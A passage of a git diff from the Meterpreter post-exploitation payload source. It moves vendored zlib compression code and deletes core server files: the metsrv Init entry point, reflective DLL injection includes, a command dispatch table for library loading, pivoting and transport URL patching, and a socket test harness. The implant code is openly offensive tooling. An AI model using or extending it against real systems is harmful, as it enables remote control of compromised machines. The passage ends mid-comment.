s1; +} +/* --- adler32.c */ + +// compress.c +/* =========================================================================== + Compresses the source buffer into the destination buffer. The level + parameter has the same meaning as in deflateInit. sourceLen is the byte + length of the source buffer. Upon entry, destLen is the total size of the + destination buffer, which must be at least 0.1% larger than sourceLen plus + 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. + + compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_BUF_ERROR if there was not enough room in the output buffer, + Z_STREAM_ERROR if the level parameter is invalid. +*/ +int EXPORT compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level) +{ + z_stream stream; + int err; + + stream.next_in = (Bytef*)source; + stream.avail_in = (uInt)sourceLen; +#ifdef MAXSEG_64K + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; +#endif + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; + + stream.zalloc = (alloc_func)0; + stream.zfree = (free_func)0; + stream.opaque = (voidpf)0; + + err = deflateInit(&stream, level); + if (err != Z_OK) return err; + + err = deflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + deflateEnd(&stream); + return err == Z_OK ? Z_BUF_ERROR : err; + } + *destLen = stream.total_out; + + err = deflateEnd(&stream); + return err; +} + +int EXPORT compress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen) +{ + return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION); +} +// uncompr.c +/* =========================================================================== + Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer. + This function can be used to decompress a whole file at once if the + input file is mmap'ed. + + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. +*/ +int EXPORT uncompress(Bytef *dest,uLongf *destLen,const Bytef *source, uLong sourceLen) +{ + z_stream stream; + int err; + + stream.next_in = (Bytef*)source; + stream.avail_in = (uInt)sourceLen; + /* Check for source > 64K on 16-bit machine: */ + if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; + + stream.next_out = dest; + stream.avail_out = (uInt)*destLen; + if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; + + stream.zalloc = (alloc_func)0; + stream.zfree = (free_func)0; + + err = inflateInit(&stream); + if (err != Z_OK) return err; + + err = inflate(&stream, Z_FINISH); + if (err != Z_STREAM_END) { + inflateEnd(&stream); + return err == Z_OK ? Z_BUF_ERROR : err; + } + *destLen = stream.total_out; + + err = inflateEnd(&stream); + return err; +} diff --git a/c/meterpreter/source/common/zlib/zlib.h b/c/meterpreter/source/metsrv/zlib.h similarity index 100% rename from c/meterpreter/source/common/zlib/zlib.h rename to c/meterpreter/source/metsrv/zlib.h diff --git a/c/meterpreter/source/server/libloader.h b/c/meterpreter/source/server/libloader.h deleted file mode 100644 index 39955fa3..00000000 --- a/c/meterpreter/source/server/libloader.h +++ /dev/null @@ -1,5 +0,0 @@ -#ifndef _METERPRETER_SOURCE_SERVER_LIBLOADER_H -#define _METERPRETER_SOURCE_SERVER_LIBLOADER_H - -HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength); -#endif diff --git a/c/meterpreter/source/server/metsrv.c b/c/meterpreter/source/server/metsrv.c deleted file mode 100755 index 78e0aa6e..00000000 --- a/c/meterpreter/source/server/metsrv.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "metsrv.h" -#include "config.h" - -#include // for EXCEPTION_ACCESS_VIOLATION -#include - -#define UnpackAndLinkLibs(p, s) - -DWORD __declspec(dllexport) Init(SOCKET fd) -{ - // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually - // a pointer to the metserv configuration, so do a nasty cast and move on. - MetsrvConfig* metConfig = (MetsrvConfig*)fd; - dprintf("[METSRV] Getting ready to init with config %p", metConfig); - DWORD result = server_setup(metConfig); - - dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); - - // We also handle exit func directly in metsrv now because the value is added to the - // configuration block and we manage to save bytes in the stager/header as well. - switch (metConfig->session.exit_func) - { - case EXITFUNC_SEH: - SetUnhandledExceptionFilter(NULL); - break; - case EXITFUNC_THREAD: - ExitThread(0); - break; - case EXITFUNC_PROCESS: - ExitProcess(0); - break; - default: - break; - } - return result; -} diff --git a/c/meterpreter/source/server/metsrv.h b/c/meterpreter/source/server/metsrv.h deleted file mode 100755 index c0bf4553..00000000 --- a/c/meterpreter/source/server/metsrv.h +++ /dev/null @@ -1,47 +0,0 @@ -#ifndef _METERPRETER_SERVER_METSRV_H -#define _METERPRETER_SERVER_METSRV_H - -/* - * Version number - * v------- major major - * v----- major minor - * v--- minor major - * v- minor minor - */ -#define METSRV_VERSION_NUMBER 0x00010001 - -#define _WIN32_WINNT 0x0500 -#define USE_DLL - -#define METERPRETER_EXPORTS -#include "../common/common.h" -#include "config.h" - -#include "remote_dispatch.h" -#include "libloader.h" - -#include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" -#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" - -DWORD server_setup(MetsrvConfig* config); -typedef DWORD (*PSRVINIT)(Remote *remote); -typedef DWORD (*PSRVDEINIT)(Remote *remote); -typedef DWORD (*PSRVGETNAME)(char* buffer, int bufferSize); -typedef VOID (*PCMDADDED)(const char* commandName); -typedef DWORD (*PSTAGELESSINIT)(LPBYTE data, DWORD dataSize); - -typedef struct _EXTENSION -{ - HMODULE library; - PSRVINIT init; - PSRVDEINIT deinit; - PSRVGETNAME getname; - PCMDADDED commandAdded; - PSTAGELESSINIT stagelessInit; - Command* start; - Command* end; - char name[16]; -} EXTENSION, *PEXTENSION; - -#endif diff --git a/c/meterpreter/source/server/remote_dispatch_common.c b/c/meterpreter/source/server/remote_dispatch_common.c deleted file mode 100755 index be289fd9..00000000 --- a/c/meterpreter/source/server/remote_dispatch_common.c +++ /dev/null @@ -1,135 +0,0 @@ -#include "metsrv.h" -#include "win\server_pivot.h" - -// see ReflectiveLoader.c... -extern HINSTANCE hAppInstance; - -PLIST gExtensionList = NULL; - -DWORD request_core_enumextcmd(Remote* remote, Packet* packet); -DWORD request_core_machine_id(Remote* remote, Packet* packet); -DWORD request_core_get_session_guid(Remote* remote, Packet* packet); -DWORD request_core_set_session_guid(Remote* remote, Packet* packet); -DWORD request_core_set_uuid(Remote* remote, Packet* packet); -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); - -// Dispatch table -Command customCommands[] = -{ - COMMAND_REQ("core_loadlib", request_core_loadlib), - COMMAND_REQ("core_enumextcmd", request_core_enumextcmd), - COMMAND_REQ("core_machine_id", request_core_machine_id), - COMMAND_REQ("core_get_session_guid", request_core_get_session_guid), - COMMAND_REQ("core_set_session_guid", request_core_set_session_guid), - COMMAND_REQ("core_set_uuid", request_core_set_uuid), - COMMAND_REQ("core_pivot_add", request_core_pivot_add), - COMMAND_REQ("core_pivot_remove", request_core_pivot_remove), - COMMAND_INLINE_REP("core_patch_url", request_core_patch_url), - COMMAND_TERMINATOR -}; - -typedef struct _EnumExtensions -{ - Packet* pResponse; - char* lpExtensionName; -} EnumExtensions, * PEnumExtensions; - -BOOL ext_cmd_callback(LPVOID pState, LPVOID pData) -{ - PEnumExtensions pEnum = (PEnumExtensions)pState; - Command* command = NULL; - - if (pEnum != NULL && pEnum->pResponse != NULL && pData != NULL) - { - PEXTENSION pExt = (PEXTENSION)pData; - if (pExt->name[0] != '\0' && pEnum->lpExtensionName != NULL && strcmp(pExt->name, pEnum->lpExtensionName) == 0) - { - dprintf("[LISTEXT] Found extension: %s", pExt->name); - for (command = pExt->start; command != pExt->end; command = command->next) - { - packet_add_tlv_string(pEnum->pResponse, TLV_TYPE_STRING, command->method); - } - dprintf("[LISTEXT] Finished listing extension: %s", pExt->name); - - return TRUE; - } - } - return FALSE; -} - -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) -{ - // this is a special case because we don't actually send - // response to this. This is a brutal switch without any - // other forms of comms, and this is because of stageless - // payloads - if (remote->transport->type == METERPRETER_TRANSPORT_TCP) - { - // This shouldn't happen. - *result = ERROR_INVALID_STATE; - } - else - { - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - *result = ERROR_SUCCESS; - } - return TRUE; -} - -DWORD request_core_enumextcmd(Remote* remote, Packet* packet) -{ - BOOL bResult = FALSE; - Packet* pResponse = packet_create_response(packet); - - if (pResponse != NULL) - { - EnumExtensions enumExt; - enumExt.pResponse = pResponse; - enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING); - - dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName); - // Start by enumerating the names of the extensions - bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt); - - packet_transmit_response(ERROR_SUCCESS, remote, pResponse); - } - - return ERROR_SUCCESS; -} - -/* - * Registers custom command handlers - */ -VOID register_dispatch_routines() -{ - gExtensionList = list_create(); - - command_register_all(customCommands); -} - -/* - * Deregisters previously registered custom commands and loaded extensions. - */ -VOID deregister_dispatch_routines(Remote * remote) -{ - while (TRUE) - { - PEXTENSION extension = list_pop(gExtensionList); - if (!extension) - { - break; - } - - if (extension->deinit) - { - extension->deinit(remote); - } - - free(extension); - } - - command_deregister_all(customCommands); - - list_destroy(gExtensionList); -} diff --git a/c/meterpreter/source/server/win/metsrv.def b/c/meterpreter/source/server/win/metsrv.def deleted file mode 100644 index 2dbcf2bf..00000000 --- a/c/meterpreter/source/server/win/metsrv.def +++ /dev/null @@ -1,3 +0,0 @@ -LIBRARY metsrv.dll - -EXPORTS diff --git a/c/meterpreter/source/server/win/metsrv_test.c b/c/meterpreter/source/server/win/metsrv_test.c deleted file mode 100644 index 3d3bee37..00000000 --- a/c/meterpreter/source/server/win/metsrv_test.c +++ /dev/null @@ -1,81 +0,0 @@ -#include -#include -#include - -#define PORT 31337 - -int main(int argc, char **argv) -{ - struct sockaddr_in s; - DWORD (*init)(SOCKET fd); - PCHAR dllPath, slash; - SOCKET srv, cli; - HMODULE lib; - WSADATA data; - - WSAStartup(0x0202, &data); - - do - { - if (argc == 1) - { - printf("need dll path\n"); - break; - } - - if (!(dllPath = (PCHAR)malloc(strlen(argv[0]+5)))) - { - fprintf(stderr, "could not duplicate argv\n"); - break; - } - - printf("loading from %s\n", argv[1]); - - lib = LoadLibrary(argv[1]); - - if ((!lib) || - (!((LPVOID)init = (LPVOID)GetProcAddress(lib, "Init")))) - { - fprintf(stderr, "could not load metsrv.dll, %lu\n", GetLastError()); - break; - } - - if ((srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) - { - fprintf(stderr, "listen: %lu\n", GetLastError()); - break; - } - - s.sin_family = AF_INET; - s.sin_port = htons(PORT); - s.sin_addr.s_addr = INADDR_ANY; - - printf("Listening on port %d...\n", PORT); - - if (bind(srv, (struct sockaddr *)&s, sizeof(s)) < 0) - { - fprintf(stderr, "bind: %lu\n", GetLastError()); - break; - } - - if (listen(srv, 1) < 0) - { - fprintf(stderr, "listen: %lu\n", GetLastError()); - break; - } - - if ((cli = accept(srv, NULL, NULL)) < 0) - { - fprintf(stderr, "accept: %lu\n", GetLastError()); - break; - } - - printf("Initialized with client fd %lu.\n", cli); - - init(cli); - - } while (0); - - free(dllPath); - return 0; -} diff --git a/c/meterpreter/source/server/win/server_transport_wininet.h b/c/meterpreter/source/server/win/server_transport_wininet.h deleted file mode 100755 index 8898e9ab..00000000 --- a/c/meterpreter/source/server/win/server_transport_wininet.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_SERVER_TRANSPORT_WININET -#define _METERPRETER_SERVER_TRANSPORT_WININET - -void transport_move_to_wininet(Transport* transport); - -#endif \ No newline at end of file diff --git a/c/meterpreter/source/server/zlib/zlib.c b/c/meterpreter/source/server/zlib/zlib.c deleted file mode 100644 index 150ff05e..00000000 --- a/c/meterpreter/source/server/zlib/zlib.c +++ /dev/null @@ -1,5379 +0,0 @@ -/* - * This file is derived from various .h and .c files from the zlib-1.0.4 - * distribution by Jean-loup Gailly and Mark Adler, with some additions - * by Paul Mackerras to aid in implementing Deflate compression and - * decompression for PPP packets. See zlib.h for conditions of - * distribution and use. - * - * Changes that have been made include: - * - added Z_PACKET_FLUSH (see zlib.h for details) - * - added inflateIncomp and deflateOutputPending - * - allow strm->next_out to be NULL, meaning discard the output - * - */ - -/* - * ==FILEVERSION 971210== - * - * This marker is used by the Linux installation script to determine - * whether an up-to-date version of this file is already installed. - */ - -#define NO_DUMMY_DECL - -#ifndef MIN -/* Macros for min/max. */ -#define MIN(a,b) (((a)<(b))?(a):(b)) -#define MAX(a,b) (((a)>(b))?(a):(b)) -#endif - -/* +++ zutil.h */ -/*- - * zutil.h -- internal interface and configuration of the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: zutil.h,v 1.16 1996/07/24 13:41:13 me Exp $ */ - -#ifndef _Z_UTIL_H -#define _Z_UTIL_H - -#include "zlib.h" - -#ifdef _KERNEL -/* Assume this is a *BSD or SVR4 kernel */ -#include -#include -#include -#include -#include -#include -# define HAVE_MEMCPY - -#else -#if defined(__KERNEL__) -/* Assume this is a Linux kernel */ -#include -#define HAVE_MEMCPY - -#else /* not kernel */ - -#if defined(MSDOS)||defined(VMS)||defined(CRAY)||defined(WIN32)||defined(RISCOS) -# include -# include -#else - extern int errno; -#endif -#ifdef STDC -# include -# include -#endif -#endif /* __KERNEL__ */ -#endif /* _KERNEL */ - -#ifndef local -# define local static -#endif -/* compile with -Dlocal if your debugger can't find static symbols */ - -typedef unsigned char uch; -typedef uch FAR uchf; -typedef unsigned short ush; -typedef ush FAR ushf; -typedef unsigned long ulg; - -static const char *z_errmsg[10]; /* indexed by 2-zlib_error */ -/* (size given to avoid silly warnings with Visual C++) */ - -#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)] - -#define ERR_RETURN(strm,err) \ - return (strm->msg = (const char*)ERR_MSG(err), (err)) -/* To be used only when the state is known to be valid */ - - /* common constants */ - -#ifndef DEF_WBITS -# define DEF_WBITS MAX_WBITS -#endif -/* default windowBits for decompression. MAX_WBITS is for compression only */ - -#if MAX_MEM_LEVEL >= 8 -# define DEF_MEM_LEVEL 8 -#else -# define DEF_MEM_LEVEL MAX_MEM_LEVEL -#endif -/* default memLevel */ - -#define STORED_BLOCK 0 -#define STATIC_TREES 1 -#define DYN_TREES 2 -/* The three kinds of block type */ - -#define MIN_MATCH 3 -#define MAX_MATCH 258 -/* The minimum and maximum match lengths */ - -#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */ - - /* target dependencies */ - -#ifdef MSDOS -# define OS_CODE 0x00 -# ifdef __TURBOC__ -# include -# else /* MSC or DJGPP */ -# include -# endif -#endif - -#ifdef OS2 -# define OS_CODE 0x06 -#endif - -#ifdef WIN32 /* Window 95 & Windows NT */ -# define OS_CODE 0x0b -#endif - -#if defined(VAXC) || defined(VMS) -# define OS_CODE 0x02 -# define FOPEN(name, mode) \ - fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") -#endif - -#ifdef AMIGA -# define OS_CODE 0x01 -#endif - -#if defined(ATARI) || defined(atarist) -# define OS_CODE 0x05 -#endif - -#ifdef MACOS -# define OS_CODE 0x07 -#endif - -#ifdef __50SERIES /* Prime/PRIMOS */ -# define OS_CODE 0x0F -#endif - -#ifdef TOPS20 -# define OS_CODE 0x0a -#endif - -#if defined(_BEOS_) || defined(RISCOS) -# define fdopen(fd,mode) NULL /* No fdopen() */ -#endif - - /* Common defaults */ - -#ifndef OS_CODE -# define OS_CODE 0x03 /* assume Unix */ -#endif - -#ifndef FOPEN -# define FOPEN(name, mode) fopen((name), (mode)) -#endif - - /* functions */ - -#ifdef HAVE_STRERROR - extern char *strerror OF((int)); -# define zstrerror(errnum) strerror(errnum) -#else -# define zstrerror(errnum) "" -#endif - -#if defined(pyr) -# define NO_MEMCPY -#endif -#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(_MSC_VER) - /* Use our own functions for small and medium model with MSC <= 5.0. - * You may have to use the same strategy for Borland C (untested). - */ -# define NO_MEMCPY -#endif -#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY) -# define HAVE_MEMCPY -#endif -#ifdef HAVE_MEMCPY -# ifdef SMALL_MEDIUM /* MSDOS small or medium model */ -# define zmemcpy _fmemcpy -# define zmemcmp _fmemcmp -# define zmemzero(dest, len) _fmemset(dest, 0, len) -# else -# define zmemcpy memcpy -# define zmemcmp memcmp -# define zmemzero(dest, len) memset(dest, 0, len) -# endif -#else - extern void zmemcpy OF((Bytef* dest, Bytef* source, uInt len)); - extern int zmemcmp OF((Bytef* s1, Bytef* s2, uInt len)); - extern void zmemzero OF((Bytef* dest, uInt len)); -#endif - -/* Diagnostic functions */ -#ifdef DEBUG_ZLIB -# include -# ifndef verbose -# define verbose 0 -# endif - extern void z_error OF((char *m)); -# define Assert(cond,msg) {if(!(cond)) z_error(msg);} -# define Trace(x) fprintf x -# define Tracev(x) {if (verbose) fprintf x ;} -# define Tracevv(x) {if (verbose>1) fprintf x ;} -# define Tracec(c,x) {if (verbose && (c)) fprintf x ;} -# define Tracecv(c,x) {if (verbose>1 && (c)) fprintf x ;} -#else -# define Assert(cond,msg) -# define Trace(x) -# define Tracev(x) -# define Tracevv(x) -# define Tracec(c,x) -# define Tracecv(c,x) -#endif - - -typedef uLong (*check_func) OF((uLong check, const Bytef *buf, uInt len)); - -voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size)); -void zcfree OF((voidpf opaque, voidpf ptr)); - -#define ZALLOC(strm, items, size) \ - (*((strm)->zalloc))((strm)->opaque, (items), (size)) -#define ZFREE(strm, addr) (*((strm)->zfree))((strm)->opaque, (voidpf)(addr)) -#define TRY_FREE(s, p) {if (p) ZFREE(s, p);} - -#endif /* _Z_UTIL_H */ -/* --- zutil.h */ - -/* +++ deflate.h */ -/* deflate.h -- internal compression state - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: deflate.h,v 1.10 1996/07/02 12:41:00 me Exp $ */ - -#ifndef _DEFLATE_H -#define _DEFLATE_H - -/* #include "zutil.h" */ - -/* =========================================================================== - * Internal compression state. - */ - -#define LENGTH_CODES 29 -/* number of length codes, not counting the special END_BLOCK code */ - -#define LITERALS 256 -/* number of literal bytes 0..255 */ - -#define L_CODES (LITERALS+1+LENGTH_CODES) -/* number of Literal or Length codes, including the END_BLOCK code */ - -#define D_CODES 30 -/* number of distance codes */ - -#define BL_CODES 19 -/* number of codes used to transfer the bit lengths */ - -#define HEAP_SIZE (2*L_CODES+1) -/* maximum heap size */ - -#define MAX_BITS 15 -/* All codes must not exceed MAX_BITS bits */ - -#define INIT_STATE 42 -#define BUSY_STATE 113 -#define FINISH_STATE 666 -/* Stream status */ - - -/* Data structure describing a single value and its code string. */ -typedef struct ct_data_s { - union { - ush freq; /* frequency count */ - ush code; /* bit string */ - } fc; - union { - ush dad; /* father node in Huffman tree */ - ush len; /* length of bit string */ - } dl; -} FAR ct_data; - -#define Freq fc.freq -#define Code fc.code -#define Dad dl.dad -#define Len dl.len - -typedef struct static_tree_desc_s static_tree_desc; - -typedef struct tree_desc_s { - ct_data *dyn_tree; /* the dynamic tree */ - int max_code; /* largest code with non zero frequency */ - static_tree_desc *stat_desc; /* the corresponding static tree */ -} FAR tree_desc; - -typedef ush Pos; -typedef Pos FAR Posf; -typedef unsigned IPos; - -/* A Pos is an index in the character window. We use short instead of int to - * save space in the various tables. IPos is used only for parameter passing. - */ - -typedef struct deflate_state { - z_streamp strm; /* pointer back to this zlib stream */ - int status; /* as the name implies */ - Bytef *pending_buf; /* output still pending */ - ulg pending_buf_size; /* size of pending_buf */ - Bytef *pending_out; /* next pending byte to output to the stream */ - int pending; /* nb of bytes in the pending buffer */ - int noheader; /* suppress zlib header and adler32 */ - Byte data_type; /* UNKNOWN, BINARY or ASCII */ - Byte method; /* STORED (for zip only) or DEFLATED */ - int last_flush; /* value of flush param for previous deflate call */ - - /* used by deflate.c: */ - - uInt w_size; /* LZ77 window size (32K by default) */ - uInt w_bits; /* log2(w_size) (8..16) */ - uInt w_mask; /* w_size - 1 */ - - Bytef *window; - /* Sliding window. Input bytes are read into the second half of the window, - * and move to the first half later to keep a dictionary of at least wSize - * bytes. With this organization, matches are limited to a distance of - * wSize-MAX_MATCH bytes, but this ensures that IO is always - * performed with a length multiple of the block size. Also, it limits - * the window size to 64K, which is quite useful on MSDOS. - * To do: use the user input buffer as sliding window. - */ - - ulg window_size; - /* Actual size of window: 2*wSize, except when the user input buffer - * is directly used as sliding window. - */ - - Posf *prev; - /* Link to older string with same hash index. To limit the size of this - * array to 64K, this link is maintained only for the last 32K strings. - * An index in this array is thus a window index modulo 32K. - */ - - Posf *head; /* Heads of the hash chains or NIL. */ - - uInt ins_h; /* hash index of string to be inserted */ - uInt hash_size; /* number of elements in hash table */ - uInt hash_bits; /* log2(hash_size) */ - uInt hash_mask; /* hash_size-1 */ - - uInt hash_shift; - /* Number of bits by which ins_h must be shifted at each input - * step. It must be such that after MIN_MATCH steps, the oldest - * byte no longer takes part in the hash key, that is: - * hash_shift * MIN_MATCH >= hash_bits - */ - - long block_start; - /* Window position at the beginning of the current output block. Gets - * negative when the window is moved backwards. - */ - - uInt match_length; /* length of best match */ - IPos prev_match; /* previous match */ - int match_available; /* set if previous match exists */ - uInt strstart; /* start of string to insert */ - uInt match_start; /* start of matching string */ - uInt lookahead; /* number of valid bytes ahead in window */ - - uInt prev_length; - /* Length of the best match at previous step. Matches not greater than this - * are discarded. This is used in the lazy match evaluation. - */ - - uInt max_chain_length; - /* To speed up deflation, hash chains are never searched beyond this - * length. A higher limit improves compression ratio but degrades the - * speed. - */ - - uInt max_lazy_match; - /* Attempt to find a better match only when the current match is strictly - * smaller than this value. This mechanism is used only for compression - * levels >= 4. - */ -# define max_insert_length max_lazy_match - /* Insert new strings in the hash table only if the match length is not - * greater than this length. This saves time but degrades compression. - * max_insert_length is used only for compression levels <= 3. - */ - - int level; /* compression level (1..9) */ - int strategy; /* favor or force Huffman coding*/ - - uInt good_match; - /* Use a faster search when the previous match is longer than this */ - - int nice_match; /* Stop searching when current match exceeds this */ - - /* used by trees.c: */ - /* Didn't use ct_data typedef below to supress compiler warning */ - struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ - struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ - struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ - - struct tree_desc_s l_desc; /* desc. for literal tree */ - struct tree_desc_s d_desc; /* desc. for distance tree */ - struct tree_desc_s bl_desc; /* desc. for bit length tree */ - - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ - int heap_len; /* number of elements in the heap */ - int heap_max; /* element of largest frequency */ - /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. - * The same heap array is used to build all trees. - */ - - uch depth[2*L_CODES+1]; - /* Depth of each subtree used as tie breaker for trees of equal frequency - */ - - uchf *l_buf; /* buffer for literals or lengths */ - - uInt lit_bufsize; - /* Size of match buffer for literals/lengths. There are 4 reasons for - * limiting lit_bufsize to 64K: - * - frequencies can be kept in 16 bit counters - * - if compression is not successful for the first block, all input - * data is still in the window so we can still emit a stored block even - * when input comes from standard input. (This can also be done for - * all blocks if lit_bufsize is not greater than 32K.) - * - if compression is not successful for a file smaller than 64K, we can - * even emit a stored file instead of a stored block (saving 5 bytes). - * This is applicable only for zip (not gzip or zlib). - * - creating new Huffman trees less frequently may not provide fast - * adaptation to changes in the input data statistics. (Take for - * example a binary file with poorly compressible code followed by - * a highly compressible string table.) Smaller buffer sizes give - * fast adaptation but have of course the overhead of transmitting - * trees more frequently. - * - I can't count above 4 - */ - - uInt last_lit; /* running index in l_buf */ - - ushf *d_buf; - /* Buffer for distances. To simplify the code, d_buf and l_buf have - * the same number of elements. To use different lengths, an extra flag - * array would be necessary. - */ - - ulg opt_len; /* bit length of current block with optimal trees */ - ulg static_len; /* bit length of current block with static trees */ - ulg compressed_len; /* total bit length of compressed file */ - uInt matches; /* number of string matches in current block */ - int last_eob_len; /* bit length of EOB code for last block */ - -#ifdef DEBUG_ZLIB - ulg bits_sent; /* bit length of the compressed data */ -#endif - - ush bi_buf; - /* Output buffer. bits are inserted starting at the bottom (least - * significant bits). - */ - int bi_valid; - /* Number of valid bits in bi_buf. All bits above the last valid bit - * are always zero. - */ - -} FAR deflate_state; - -/* Output a byte on the stream. - * IN assertion: there is enough room in pending_buf. - */ -#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} - - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -#define MAX_DIST(s) ((s)->w_size-MIN_LOOKAHEAD) -/* In order to simplify the code, particularly on 16 bit machines, match - * distances are limited to MAX_DIST instead of WSIZE. - */ - - /* in trees.c */ -void _tr_init OF((deflate_state *s)); -int _tr_tally OF((deflate_state *s, unsigned dist, unsigned lc)); -ulg _tr_flush_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_align OF((deflate_state *s)); -void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_stored_type_only OF((deflate_state *)); - -#endif -/* --- deflate.h */ - -/* +++ deflate.c */ -/* deflate.c -- compress data using the deflation algorithm - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process depends on being able to identify portions - * of the input text which are identical to earlier input (within a - * sliding window trailing behind the input currently being processed). - * - * The most straightforward technique turns out to be the fastest for - * most input files: try all possible matches and select the longest. - * The key feature of this algorithm is that insertions into the string - * dictionary are very simple and thus fast, and deletions are avoided - * completely. Insertions are performed at each input character, whereas - * string matches are performed only when the previous match ends. So it - * is preferable to spend more time in matches to allow very fast string - * insertions and avoid deletions. The matching algorithm for small - * strings is inspired from that of Rabin & Karp. A brute force approach - * is used to find longer strings when a small match has been found. - * A similar algorithm is used in comic (by Jan-Mark Wams) and freeze - * (by Leonid Broukhis). - * A previous version of this file used a more sophisticated algorithm - * (by Fiala and Greene) which is guaranteed to run in linear amortized - * time, but has a larger average cost, uses more memory and is patented. - * However the F&G algorithm may be faster for some highly redundant - * files if the parameter max_chain_length (described below) is too large. - * - * ACKNOWLEDGEMENTS - * - * The idea of lazy evaluation of matches is due to Jan-Mark Wams, and - * I found it in 'freeze' written by Leonid Broukhis. - * Thanks to many people for bug reports and testing. - * - * REFERENCES - * - * Deutsch, L.P.,"DEFLATE Compressed Data Format Specification". - * Available in ftp://ds.internic.net/rfc/rfc1951.txt - * - * A description of the Rabin and Karp algorithm is given in the book - * "Algorithms" by R. Sedgewick, Addison-Wesley, p252. - * - * Fiala,E.R., and Greene,D.H. - * Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595 - * - */ - -/* From: deflate.c,v 1.15 1996/07/24 13:40:58 me Exp $ */ - -/* #include "deflate.h" */ - -char deflate_copyright[] = " deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -/* =========================================================================== - * Function prototypes. - */ -typedef enum { - need_more, /* block not completed, need more input or more output */ - block_done, /* block flush performed */ - finish_started, /* finish started, need only more output at next deflate */ - finish_done /* finish done, accept no more input or output */ -} block_state; - -typedef block_state (*compress_func) OF((deflate_state *s, int flush)); -/* Compression function. Returns the block state after the call. */ - -local void fill_window OF((deflate_state *s)); -local block_state deflate_stored OF((deflate_state *s, int flush)); -local block_state deflate_fast OF((deflate_state *s, int flush)); -local block_state deflate_slow OF((deflate_state *s, int flush)); -local void lm_init OF((deflate_state *s)); -local void putShortMSB OF((deflate_state *s, uInt b)); -local void flush_pending OF((z_streamp strm)); -local int read_buf OF((z_streamp strm, charf *buf, unsigned size)); -#ifdef ASMV - void match_init OF((void)); /* asm code initialization */ - uInt longest_match OF((deflate_state *s, IPos cur_match)); -#else -local uInt longest_match OF((deflate_state *s, IPos cur_match)); -#endif - -#ifdef DEBUG_ZLIB -local void check_match OF((deflate_state *s, IPos start, IPos match, - int length)); -#endif - -/* =========================================================================== - * Local data - */ - -#define NIL 0 -/* Tail of hash chains */ - -#ifndef TOO_FAR -# define TOO_FAR 4096 -#endif -/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */ - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments 